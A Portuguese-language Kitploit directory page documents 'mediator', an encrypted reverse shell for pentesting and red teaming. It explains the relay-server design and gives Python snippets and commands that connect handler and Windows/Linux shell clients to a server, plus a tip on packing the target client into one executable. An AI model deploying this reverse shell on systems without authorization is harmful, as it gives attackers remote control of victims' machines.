Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
mediator — Um shell reverso extensível, criptografado de ponta a ponta, que funciona entre redes sem redirecionamento de portas. | Kitploit
Ferramentas/GitHubGitHub/lawndoc/mediator
Ferramentas de Criptografia/DescriptografiaEngenharia ReversaTestes de PenetraçãoComando e ControleUtilitários e FrameworksRed TeamingResposta a IncidentesFerramenta de Acesso Remoto
GitHublawndoc/mediator

mediator

Um shell reverso extensível, criptografado de ponta a ponta, que funciona entre redes sem redirecionamento de portas.

Ver Repositório
10013há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

logotipo do Mediator

O Mediator é um shell reverso criptografado de ponta a ponta no qual o operador e o shell se conectam a um servidor "mediador" que faz a ponte entre as conexões. Isso elimina a necessidade de o operador/manipulador configurar o encaminhamento de portas para ouvir a conexão. O Mediator também permite criar plugins para expandir a funcionalidade do shell reverso.

Você pode executar os scripts do Mediator como executáveis independentes ou importá-los para integração com outras ferramentas de pentest e resposta a incidentes.

Arquitetura:

Inspirado por aplicativos de chat criptografados de ponta a ponta, o Mediator adota uma abordagem única para o modelo cliente/servidor de um shell reverso. O Mediator usa:

  1. Um shell reverso cliente
  2. Um manipulador/operador cliente
  3. Um servidor que faz a ponte entre as duas conexões

Os shells reversos e manipuladores conectam-se ao servidor Mediator com uma chave de conexão. O servidor escuta na porta 80 para conexões do manipulador e na porta 443 para conexões do shell reverso. Quando os clientes se conectam ao mediador, o servidor os enfileira de acordo com seu respectivo tipo e chave de conexão. Quando tanto um shell reverso quanto um operador se conectam ao servidor com a mesma chave, o servidor faz a ponte entre as duas conexões. A partir daí, é feita uma troca de chaves entre os dois clientes, e toda comunicação entre o shell reverso e o operador é criptografada de ponta a ponta. Isso garante que o servidor não possa espionar os fluxos que está retransmitindo.

Plugins

Os plugins permitem adicionar comandos extras que podem executar código no host do operador, no host alvo, ou em ambos! Consulte o README no diretório de plugins para mais informações sobre plugins.

Instruções:

Servidor

Os scripts do cliente podem ser executados no Windows ou Linux, mas você precisará levantar o servidor (mediator.py) em um host Linux. O servidor é Python puro, portanto não há necessidade de instalar dependências. Você pode executar o script do servidor com

root@kitploit:~
$ python3 mediator.py

ou você pode construir uma imagem Docker com o Dockerfile fornecido e executá-la em um contêiner (certifique-se de publicar as portas 80 e 443).

Clientes

Você precisará instalar as dependências encontradas em requirements.txt) para que os clientes funcionem. Você pode fazer isso com o seguinte comando:

root@kitploit:~
$ pip3 install -r requirements.txt

Consulte Dicas e Lembretes no final para obter ajuda sobre como distribuir os clientes sem se preocupar com dependências.

O manipulador e o shell reverso podem ser usados em outros scripts Python ou diretamente via linha de comando. Em ambos os casos, os clientes podem aceitar argumentos para o endereço do servidor e a chave de conexão. O uso desses argumentos é descrito abaixo.

Endereço do servidor Mediator

Para uso em script Python, o endereço do host mediador é necessário na instanciação:

Handler class

root@kitploit:~
from handler import Handler

operator = Handler(mediatorHost="example.com")
operator.run()

WindowsRShell class

root@kitploit:~
from windowsTarget import WindowsRShell

shell = WindowsRShell(mediatorHost="example.com")
shell.run()

Se estiver executando um script de cliente diretamente de um shell, você pode codificar o endereço na parte inferior do script, ou o endereço do servidor pode ser especificado como um argumento com a flag -s ou --server:

handler.py

root@kitploit:~
$ python3 handler.py -s example.com

windowsTarget.py

root@kitploit:~
> python windowsTarget.py -s example.com

Chave de conexão

Quando dois manipuladores ou dois shells reversos se conectam ao servidor mediador com a mesma chave de conexão, apenas a primeira conexão é enfileirada aguardando sua correspondência. Até que a conexão enfileirada expire (30 segundos) ou corresponda a uma conexão contraparte, todos os outros clientes do mesmo tipo tentando se conectar com a mesma chave de conexão serão descartados.

É importante garantir que cada manipulador esteja usando uma chave de conexão única para evitar uma condição de corrida que resulte na entrega do shell errado a um operador.

Apenas chaves com o prefixo "#!ConnectionKey_" serão aceitas pelo servidor. A chave de conexão padrão é "#!ConnectionKey_CHANGE_ME!!!".

Para alterar a chave de conexão para uso em script Python, a chave de conexão pode ser fornecida opcionalmente na instanciação:

Handler class

root@kitploit:~
from handler import Handler

operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
operator.run()

LinuxRShell class

root@kitploit:~
from linuxTarget import LinuxRShell

shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run()

Se estiver executando um script de cliente diretamente de um shell, você pode codificar a chave de conexão na parte inferior do script, ou a chave de conexão pode ser especificada como um argumento com a flag -c ou --connection-key:

handler.py

root@kitploit:~
$ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key'

windowsTarget.py

root@kitploit:~
> python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'

Dicas e Lembretes:

  • LEMBRETE: os manipuladores e shells reversos não serão interligados a menos que se conectem ao servidor mediador usando a mesma chave de conexão dentro de 30 segundos um do outro.
  • DICA: Você pode criar facilmente um executável para windowsTarget.py com pyinstaller usando a flag --onefile
  • DICA: Por segurança, você deve usar uma chave de conexão gerada aleatoriamente para cada sessão. Se uma parte maliciosa descobrir sua chave de conexão e enviar spam para a porta do operador com ela, seu cliente operador não conseguirá se conectar devido ao servidor não permitir conexões duplicadas, e eles serão conectados ao shell do seu alvo.
Baixar ferramenta